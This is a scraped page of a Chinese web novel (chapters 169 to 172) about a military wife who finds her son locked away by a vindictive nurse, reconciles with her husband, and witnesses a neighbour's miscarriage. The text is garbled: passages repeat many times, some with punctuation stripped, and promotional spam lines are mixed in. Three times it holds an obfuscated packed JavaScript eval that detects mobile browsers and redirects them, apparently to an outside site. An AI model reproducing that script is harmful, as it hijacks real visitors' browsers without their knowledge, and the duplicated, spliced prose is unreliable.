沈晚先去了厕所，在男厕所门口徘徊了一会儿。几个男同志被她看得不好意思，一位年轻的战士好心问道："同志，你找人吗？" 沈晚连忙抓住他的胳膊："同志，拜托你进男厕所看看有没有一个五岁的小男孩？" 热心的战士点点头进去了，几分钟后出来摇摇头："没有啊，里面就几个大人。" 沈晚心里一沉，但想到这是部队医院，霍小川一般不会遇到什么危险，又强迫自己冷静下来。 她匆匆道了声谢，开始沿着走廊一间间房间寻找。 "小川？"她轻声呼唤着，推开一扇扇虚掩的门。值班室、器械室、更衣室都没有霍小川的身影。 沈晚的心情逐渐焦躁起来。 她又问了几个医生护士，霍小川今天穿的衣服颜色还算显眼，终于有个小护士有点印象："我刚才好像看见小胡护士牵着一个小男孩往那边去了。" 沈晚心里咯噔一下："胡春芳？" "对，就是胡春芳。" 沈晚的心瞬间沉到谷底，她现在担心的是胡春芳恼羞成怒，拿小孩子撒气。 她往小护士指的方向看去，那边黑沉沉一片，没有半个人。 她连忙跑了过去，走廊尽头隐隐传来压抑的呜咽声。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 经发现不对劲。她对霍沉舟说："小川这么久没回来我去找他。" 霍沉舟皱了皱眉他自己现在帮不了忙只能不添乱：“去吧。” 沈晚先去了厕所在男厕所门口徘徊了一会儿。几个男同志被她看得不好意思一位年轻的战士好心问道："同志你找人吗？" 沈晚连忙抓住他的胳膊："同志拜托你进男厕所看看有没有一个五岁的小男孩？" 热心的战士点点头进去了几分钟后出来摇摇头："没有啊里面就几个大人。" 沈晚心里一沉但想到这是部队医院霍小川一般不会遇到什么危险又强迫自己冷静下来。 她匆匆道了声谢开始沿着走廊一间间房间寻找。 "小川？"她轻声呼唤着推开一扇扇虚掩的门。值班室、器械室、更衣室都没有霍小川的身影。 沈晚的心情逐渐焦躁起来。 她又问了几个医生护士霍小川今天穿的衣服颜色还算显眼终于有个小护士有点印象："我刚才好像看见小胡护士牵着一个小男孩往那边去了。" 沈晚心里咯噔一下："胡春芳？" "对就是胡春芳。" 沈晚的心瞬间沉到谷底她现在担心的是胡春芳恼羞成怒拿小孩子撒气。 她往小护士指的方向看去那边黑沉沉一片 她连忙跑了过去走廊尽头隐隐传来压抑的呜咽声。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 经发现不对劲。她对霍沉舟说："小川这么久没回来我去找他。" 霍沉舟皱了皱眉他自己现在帮不了忙只能不添乱：“去吧。” 沈晚先去了厕所在男厕所门口徘徊了一会儿。几个男同志被她看得不好意思一位年轻的战士好心问道："同志你找人吗？" 沈晚连忙抓住他的胳膊："同志拜托你进男厕所看看有没有一个五岁的小男孩？" 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沈晚先去了厕所，在男厕所门口徘徊了一会儿。几个男同志被她看得不好意思，一位年轻的战士好心问道："同志，你找人吗？" 沈晚连忙抓住他的胳膊："同志，拜托你进男厕所看看有没有一个五岁的小男孩？" 热心的战士点点头进去了，几分钟后出来摇摇头："没有啊，里面就几个大人。" 沈晚心里一沉，但想到这是部队医院，霍小川一般不会遇到什么危险，又强迫自己冷静下来。 她匆匆道了声谢，开始沿着走廊一间间房间寻找。 "小川？"她轻声呼唤着，推开一扇扇虚掩的门。值班室、器械室、更衣室都没有霍小川的身影。 沈晚的心情逐渐焦躁起来。 她又问了几个医生护士，霍小川今天穿的衣服颜色还算显眼，终于有个小护士有点印象："我刚才好像看见小胡护士牵着一个小男孩往那边去了。" 沈晚心里咯噔一下："胡春芳？" "对，就是胡春芳。" 沈晚的心瞬间沉到谷底，她现在担心的是胡春芳恼羞成怒，拿小孩子撒气。 她往小护士指的方向看去，那边黑沉沉一片，没有半个人。 她连忙跑了过去，走廊尽头隐隐传来压抑的呜咽声。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 经发现不对劲。她对霍沉舟说："小川这么久没回来，我去找他。" 霍沉舟皱了皱眉，他自己现在帮不了忙，只能不添乱：“去吧。” 沈晚先去了厕所，在男厕所门口徘徊了一会儿。几个男同志被她看得不好意思，一位年轻的战士好心问道："同志，你找人吗？" 沈晚连忙抓住他的胳膊："同志，拜托你进男厕所看看有没有一个五岁的小男孩？" 热心的战士点点头进去了，几分钟后出来摇摇头："没有啊，里面就几个大人。" 沈晚心里一沉，但想到这是部队医院，霍小川一般不会遇到什么危险，又强迫自己冷静下来。 她匆匆道了声谢，开始沿着走廊一间间房间寻找。 "小川？"她轻声呼唤着，推开一扇扇虚掩的门。值班室、器械室、更衣室都没有霍小川的身影。 沈晚的心情逐渐焦躁起来。 她又问了几个医生护士，霍小川今天穿的衣服颜色还算显眼，终于有个小护士有点印象："我刚才好像看见小胡护士牵着一个小男孩往那边去了。" 沈晚心里咯噔一下："胡春芳？" "对，就是胡春芳。" 沈晚的心瞬间沉到谷底，她现在担心的是胡春芳恼羞成怒，拿小孩子撒气。 她往小护士指的方向看去，那边黑沉沉一片，没有半个人。 她连忙跑了过去，走廊尽头隐隐传来压抑的呜咽声。 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 第一百六十九章 胡春芳被调去西北边防 沈晚屏住呼吸仔细听，果然听到熟悉的童声带着哭腔："爸爸，妈妈我在这里，有没有人？这里有人！" "小川！是你吗？" 里面的声音一顿，随即惊喜地喊道："妈妈！是我！" 关着霍小川的病房门上是别了一支笔充当锁，所以里面的人打不开，沈晚抽掉笔后，房门立马开了。 还没等她看清，霍小川就突然冲进她怀里："妈妈！" 沈晚紧紧抱住儿子，悬着的心终于落回实处，她深吸一口气，感受着怀中小人儿真实的温度，眼眶瞬间就红了："有没有受伤？" 霍小川摇摇头，小脸埋在她颈窝里："没有，就是有一个护士把我关在这里，我有点害怕。" "现在没事了，妈妈来了。"沈晚轻声安抚，仔细检查孩子全身，确实没有外伤，只是受了惊吓，小脸煞白煞白的。 沈晚此时心中怒火翻涌，她本来以为把她开除已经算是很好的教训了，没想到胡春芳竟敢把主意打到孩子身上！ 霍小川见妈妈不说话，一脸自责地道歉："对不起妈妈，我不应该随便和陌生人一起走，让你替我担心了。" 沈晚压下心头怒火，亲了亲儿子的额头："没事，妈妈不怪你。但是妈妈希望你以后能长个教训，陌生人给的吃的不能要，陌生人说要带你去哪里更不能跟着，记住了吗？" "记住了。" 沈晚带着他回到病房。 霍沉舟见沈晚带着孩子回来，刚想问怎么去了那么久，却见小女人脸色苍白，眼神冰冷。 他立即察觉不对："怎么了？发生什么事了？" 霍小川说："爸爸，刚才我被一个护士姐姐骗了！她说带我去另一个厕所，结果把我锁在黑屋子里！" 霍沉舟听完脸色瞬间阴沉，他看向沈晚："你知道是谁？" 沈晚默默点头：“是今天被我投诉的那个护士，胡春芳，她来找过我，想让我撤销投诉，但是我拒绝了，所以她才怀恨在心，想报复我们。” 霍沉舟闻言，眼底闪过一丝冷厉。 这种欺软怕硬、打击报复的行为很常见，但把怨气撒在孩子身上，已经触犯了他的底线。 “这件事你不用插手，我来处理。”他沉声道。 沈晚疑惑："你想干 什么？" 霍沉舟唇角勾起一抹冷笑："她不是想留在医院吗？西北边防部队的野战医院正好缺护士，让她去锻炼锻炼。" 沈晚瞬间明白了他的意思，那是比边疆更艰苦的地方，方圆百里荒无人烟，冬天零下四十度是常态，一旦调过去，没有五六年根本别想调回来。 她在心里暗叹霍沉舟的手段高明，果然，在任何年代，权力和关系都是很重要的。 说干就干，霍沉舟很快找来董建林。 董院长听到胡春芳一个小实习护士竟敢做出**孩子这种事，也是勃然大怒，当下便找到护士长，让她立即把胡春芳叫回来。 胡春芳接到通知时还以为自己终于能回医院上班了，兴高采烈地赶回来。 她到医院的时候，正好在走廊里碰到了沈晚。 她得意地扬起下巴，嘴角带着挑衅的笑："哟，这不是沈顾问吗？没想到吧，我还能回来上班！你以为你的投诉就能让医院把我开除了吗？" 知道内情的沈晚看着胡春芳这副不知死活的样子，差点憋不住笑。 她故作认真地点头："啊对对对，你说的都对。毕竟像胡护士这样''能力突出''的人才，医院怎么舍得开除呢？" 胡春芳这个猪脑子完全听不出沈晚话里的嘲讽，得意地甩着辫子就往护士站走。 等到了护士站，冯雪看见她回来，惊喜道："春芳，你能回来上班了？" 胡春芳把辫子甩到肩后，鼻孔都快朝天了："当然了，护士长亲自打电话叫我回来的！" 冯雪连忙奉承："那是！你的能力这么突出，护士长估计是意识到离不开你了！" 胡春芳被冯雪这么一夸，更是飘上天了。 这时刘静怡正好经过，看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274046|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见胡春芳下意识就想绕道走，偏偏**春芳叫住："刘静怡，你看见我为什么要躲？" 刘静怡皱了皱眉："没有，护士长让我去药房领一批新到的青霉素。" 胡春芳哼了一声，但心情好也没找茬。 刘静怡刚走，护士长就来了，她喊胡春芳："胡春芳，你过来一下。" 胡春芳还以为是要给她安排重要工作，连忙跟过去。 等到了护士长办公室，她关上门殷勤道："护士长，是不是有什么任务需要我去做 ？"她现在刚回来，还是要勤快一点比较好。 护士长面无表情地点点头："确实有事需要你去做。" 胡春芳期待道："什么事？" "组织决定调你去西北边防部队医疗站，"护士长推过来一份调令，"那里条件艰苦，正好需要护士。" 胡春芳的笑容瞬间僵住了：“西北边防？护士长，我还是想在我们医院干下去，不想被调走…… 护士长抬手制止，"先听我说完，第一，这是军区**部直接下达的调令；第二，你的档案已经转过去了；第三，如果你拒绝，不仅会被开除，还要退还这半年所有的培训费和伙食补助。" 这半年的培训费和补助至少有三百多块钱，他们家怎么可能拿得出来这么多钱？ 胡春芳彻底傻眼了："护士长，为什么突然要调我去西北边防啊？" 护士长冷笑一声："你做了什么你不清楚吗？这都是上面的主意，你得罪了不该得罪的人。" 胡春芳心里"咯噔"一下，立刻猜到是沈晚的手笔，虽然恨得牙痒痒，但她还能怎么办？只能被动接受这份调令。 …… 而霍沉舟在沈晚这些天的贴心照顾下，身体已经开始逐渐恢复，每天的感觉也越来越强烈。 沈晚把手从被子里拿出来，用湿毛巾仔细擦着手："恢复得挺好的，看来不举的问题指日可待了。" 霍沉舟此时身体燥热难耐，看着沈晚的眼神炙热得几乎要冒出火来。 第一百七十章 我不要和你离婚，我后悔了 沈晚努力忽视男人灼热的视线，收起针包："我先回家了。" 霍沉舟却突然拉住她手腕，轻轻往自己怀里带，沈晚怕扭到他的腰，挣扎也不敢用力，半推半就地被他揽入怀中："干嘛？" 此刻的姿势十分微妙，霍沉舟靠在床头，沈晚侧坐在床沿，整个人被他圈在怀里，他的手臂只虚虚环着她的肩膀，但灼热的呼吸却喷洒在她耳畔。 "媳妇儿."男人声音沙哑，"这些天辛苦你了。" 沈晚能清晰感受到他胸腔的震动，还有某处明显的变化，她脸颊发烫，小声嘟囔："知道辛苦就好好配合治疗，别总动手动脚的" 霍沉舟低笑，鼻尖蹭了蹭她的发丝："不动手动脚，那动嘴行不行？" 说着轻轻吻了吻她的耳垂。 沈晚浑身一颤，连忙推开他："霍沉舟！你的腰不要了？" "要腰也要媳妇儿。"他耍赖似的又凑过来。 沈晚故意说："谁是你媳妇儿？" 霍沉舟："你是。" 沈晚伸手从床头柜抽屉里拿出那份还没签字的离婚申请书："你把这份申请书签了，我就不是你媳妇儿了。" 趁沈晚不注意，霍沉舟突然把申请书抢了过去。 沈晚还想说点什么，结果下一秒眼睛就瞪大了："霍沉舟，你干嘛！" 只见霍沉舟三两下将申请书撕得粉碎，雪白的纸片像蝴蝶般纷纷扬扬落下。他撕碎之后又紧紧抱住沈晚："我不要和你离婚，我后悔了！" 他把脸埋在她颈窝，声音闷闷的："我不应该因为那点破自尊就推开你.当时以为自己废了，怕耽误你一辈子" 沈晚感觉到他声音里的颤抖，心尖一软，却还是故意道："现在知道错了？" "嗯。"霍沉舟抬起头，黑眸里盛满懊悔，"我错了，媳妇儿。" 他抓起她的手按在自己胸口，"你摸摸，这里疼得厉害。" 沈晚在他发达的胸肌上摸了摸，故意道："没感受到呀。" 霍沉舟低笑一声："那等我伤好了，我好好让你感受一下？" 温热的气息拂过耳垂，带着几分暧昧的暗示。 沈晚听到男人的话，不自觉联想到受伤之前，他那让人招架不住的耐力，俏脸腾地烧了起来："贫嘴。" 霍沉舟收起玩笑的神色，认真地看着她："还生我的气吗？阿晚。" 沈晚终究是不忍心再为难他，轻叹一声："我们是夫妻，本该夫妇一体。以后有什么事不要瞒着我，也不要自以为是地以为对我好就做决定。"她戳了戳他的胸口，"你知不知道提离婚的时候，我这里也很疼。" 霍沉舟握住她的手，郑重地点头："知道了媳妇儿，我以后什么事都不瞒着你了。要是再犯，你就把我扎成刺猬。" "这可是你说的！"沈晚终于露出笑容。 “嗯，我说的。” 天快黑的时候，沈晚才整理好衣服从病房里走出来。 她脸颊泛着红晕，边走边懊恼地摸了摸滚烫的脸，这男人虽然暂时那里还不行，但手却一点都不老实！ 想到刚才男人用手干了什么，她双腿就发软。 出了医院，外面又飘起了雪花。 虽然在东北生活了这些日子，大多数人习惯雪中漫步不打伞，但沈晚始终不喜欢雪花落在脖颈里那种冰凉刺骨的感觉，所以她下雪时总要打伞。 可此刻手里空荡荡的，她只好折回护士站询问："请问还有多余的伞吗？" 值班护士头也不抬，语气带着明显的不耐烦："伞都让你们这些家属借走了，我们还打什么伞？"她翻着病历本嘟囔，"天天来借，当我们这是租伞铺子呢……" 虽然护士态度不好，但沈晚心里也理解，她刚想离开，打算淋着雪回去，一道熟悉的声音突然响起： “用我的吧。” 沈晚回头，看见是**，他手里拿着一把黑色的长柄伞。 "我正好有多余的伞，"**把伞递过来，"沈顾问，你用我的吧。" 沈晚见他穿着便服，显然也要下班，不好意思接："不用了，你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274047|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要下班吧？我用了你用什么？" "我一个大男人，下点雪而已，不用打伞。"**又走近几步，执意要把伞塞给她。他眼神里的关切太过明显，甚至带着几分小心翼翼的温柔，沈晚就算再迟钝，也能感受到这份超出同事界限的好感。 她微微一笑，后退半步拉开距离："真的不用了，谢谢张医生。"说着将棉袄的领子立起来，"这点雪不算什么，我跑快些就到家了。" 没 等**再开口，沈晚已经转身走进雪地里，细密的雪花很快落满她的发梢和肩头。 **站在原地，望着那个渐行渐远的背影，手里的伞缓缓垂下。 小说全网首发无弹窗免费阅读ｃａixs?(请来才 小说 看最新章节 完整章节) 此时家属院内，赵晓燕和霍小川正在家里。 霍小川搬着小板凳坐在厨房门口，认真地帮赵晓燕摘菜，小手指仔细掐掉发黄的叶子，把嫩绿的菜叶整整齐齐码在篮子里。 "咱们小川真能干！"赵晓燕笑着摸摸他的头，"比我摘得还干净呢！" 霍小川被夸得不好意思，羞涩地抿抿唇，耳根都红了。 这时，赵晓燕突然捂着肚子"嘶"了一声。 霍小川知道赵姨怀着宝宝，立马紧张地放下菜叶："赵姨，你肚子不舒服吗？" 赵晓燕笑着捏了捏他的脸："赵姨就是肚子疼想上厕所，我去趟厕所。" 霍小川立刻站起来："那我陪赵姨一块去，我也想上厕所。" 小家伙眨着大眼睛，一副"我真的也想上厕所"的表情。 赵晓燕怎么不懂他心里的想法，这孩子是想陪她一起去厕所呢，她心里一暖，笑着答应："好，咱们一起去。" 一大一小拿着草纸出了门。 雪还在下，霍小川主动牵住赵晓燕的手，小大人似的嘱咐："赵姨你走慢点，地上滑。" 赵晓燕看着他认真的小模样，忍不住笑了："知道啦！" 第一百七十一章 李丽流产 等到了公厕，赵晓燕进了女厕所。 霍小川本来就不是真的想上厕所，便乖乖在外面等着。 在赵晓燕上厕所的间隙，李丽也来了，霍小川对李丽很不喜欢，看见她默默往旁边走了几步。 李丽注意到小家伙对自己的排斥，没好气地翻了个白眼，径直进了厕所。 赵晓燕是上大厕，李丽是小厕，所以当赵晓燕整理好衣服出来时，李丽也正好从隔间出来。 两人在洗手池前碰面，互相瞥了一眼，都露出嫌恶的表情。 赵晓燕懒得理她，洗完手就往外走，李丽也跟在后头，眼睛却不自觉盯着赵晓燕的肚子。 刚出公厕门，李丽突然脚下一滑，其实只要扶住旁边的木柱就能站稳，但她看着前方赵晓燕的背影，恶从心中起。 要是现在故意撞上去，就算赵晓燕摔倒了，她也能推说是地太滑！ 说时迟那时快，李丽假装踉跄着向前扑去，右手肘狠狠撞向赵晓燕的后腰！ "啊！"赵晓燕猝不及防被撞得向前倾倒，眼看就要摔在结冰的地面上—— "赵姨！"霍小川惊叫着冲过来，小小的身子拼命想拉住赵晓燕，却被带得一起摔倒。 千钧一发之际，赵晓燕下意识护住肚子侧身倒地，手肘重重磕在冰面上，疼得她眼前发黑。 另一边的李丽因为脚下打滑，整个人重重摔倒在地，肚子直接撞在结冰的路面上。 按理说她平时皮糙肉厚的，摔个跤最多青紫几块，但这次却感觉小腹传来一阵撕裂般的剧痛。 "我.我肚子好疼……"李丽捂着下腹蜷缩起来，额头上瞬间冒出冷汗。 霍小川赶紧扶起赵晓燕："赵姨，你没事吧？" 赵晓燕脸色苍白，肚子因为受了惊吓一下下抽着疼，手肘和膝盖也都火辣辣地痛。 她强撑着睁开眼安慰道："我没事，小川，你去叫人。" 霍小川把她扶着坐到台阶上，立刻转身往家属院跑："来人啊！救命啊！" 比起赵晓燕，李丽此时明显更狼狈。 她整个人瘫在雪水混合的泥地里，棉裤浸得湿透，头发散乱地贴在惨白的脸上。 她死死捂着肚子不停呻吟，身下的雪地渐渐洇开一抹刺眼的红色 赵晓燕忍不住瞪大双眼，震惊地看着李丽身下的血水。 怎么会这样？！赵晓燕心中掀起惊涛骇浪。 李丽只是摔了一跤，为什么会流这么多血？而且她一直死死捂着肚子，那痛苦的神情怎么看都不像是普通的摔伤 一个莫名的念头突然窜进赵晓燕脑海——李丽不会怀孕了吧？ 以李丽的性子，如果真怀了孕，肯定早就炫耀得整个家属院都知道了，那么只有一个可能：李丽根本不知道自己怀孕了！ 此时霍小川已经跑回家属院大声呼救。 许多军属听到动静都跑了出来："小川，发生什么事了？" 霍小川指着公厕的方向，小脸煞白："赵姨赵姨摔倒了！" 大家都是一惊，连忙往公厕跑去。 沈晚这时也回来了，看见家属院混乱的场景，心里一沉。她一眼就看见人群中的霍小川，立刻跑过去："小川！出什么事了？" 霍小川看见妈妈回来了，瘪了瘪嘴差点哭出来，但还是强忍着眼泪，爸爸说过男子汉要保护妈妈。 他拉住沈晚的衣角，声音带着哭腔："妈妈，赵姨在公厕那摔倒了。" 沈晚心里"咯噔"一下，赵姐怀上这个孩子本就不容易，这冰天雪地的要是摔一跤，十有**会损伤胎气。要是真出了意外，以赵姐的性子，恐怕这辈子都不会原谅自己。 她快步往公厕跑去，到了之后只见赵晓燕被一群人围着，脸色苍白但精神尚可。 旁边还有另一群人吵吵嚷嚷的，沈晚来不及细看，先冲到赵晓燕面前："赵姐，你没事吧？" 赵晓燕看见沈晚来了，紧绷的心弦松了几分：“妹子，你快帮姐看看，我肚子里的孩子有事吗？” 沈晚立即蹲下为她把脉。指下的脉象虽然略快，但沉稳有力，确实只是受了惊吓，并未伤及元气。 她悬着的心总算放下来一点： “赵姐，没伤到元气，就是受了惊吓。” 这时，旁边那群人中有人喊道："沈同志，你过来帮李丽看看吧，她流了好多血！" 沈晚这才注意到不远处瘫坐在地上的李丽，她裤腿上沾着大片血迹，正捂着肚子呻吟。 沈晚见她这样，忍不住眉心一跳——李丽这症状，怎么像是流产的 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 你的朋友正在书荒，快去帮帮他吧 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274048|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 样子？ 她走过去指尖刚搭上李丽的脉搏心中便已明了指下的脉象滑而无力明显是堕胎之兆再掀开李丽的外衣查看裤裆已被鲜血浸透小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜但她心里却没有丝毫同情在她看来李丽流产也是自作自受谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血吓**喽！" 沈晚冷静地站起身："她流产了现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子盼了这么久…… 这两个月她总是反胃恶心还以为是吃坏了肚子她的月事一向不准 李丽颤抖着摸向自己平坦的小腹眼泪瞬间决堤。 她盼了这么久的孩子竟然在她不知道的时候来了又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚指甲都掐进了布料里"我求求你了你医术那么好一定能保住我的孩子对不对？" 她哭得撕心裂肺"我给你磕头我给你当牛做马." 沈晚垂眸看着她声音平静："已经流掉了胚胎完全脱落现在最重要的是保住你的命。" 你的朋友正在书荒，快去帮帮他吧 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 样子？ 她走过去指尖刚搭上李丽的脉搏，心中便已明了，指下的脉象滑而无力，明显是堕胎之兆，再掀开李丽的外衣查看，裤裆已被鲜血浸透，小腹冰凉僵硬。 沈晚眸光微动。 虽然李丽看起来确实可怜，但她心里却没有丝毫同情，在她看来，李丽流产也是自作自受，谁让她整天搬弄是非、挑拨离间？ 旁边的军属急切地问："李丽这是咋了？流了这么多血，吓**喽！" 沈晚冷静地站起身："她流产了，现在需要立即送去医院清宫止血。" 地上躺着的李丽迷迷糊糊间听到"流产"二字，混沌的脑子猛地清醒。 流产？她怎么会流产？她明明那么想要孩子，盼了这么久…… 这两个月她总是反胃恶心，还以为是吃坏了肚子，她的月事一向不准，推迟个把月也是常事，所以根本没往这方面想。 李丽颤抖着摸向自己平坦的小腹，眼泪瞬间决堤。 她盼了这么久的孩子，竟然在她不知道的时候来了，又在她不知道的时候走了。 "沈晚沈晚"她突然死死抓住沈晚的裤脚，指甲都掐进了布料里，"我求求你了，你医术那么好，一定能保住我的孩子对不对？" 她哭得撕心裂肺，"我给你磕头，我给你当牛做马." 沈晚垂眸看着她，声音平静："已经流掉了，胚胎完全脱落，现在最重要的是保住你的命。" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 第一百七十二章 老天爷对她也太不公平了 她示意周围人帮忙抬人："送去医院清宫，再晚就要大出血了。" 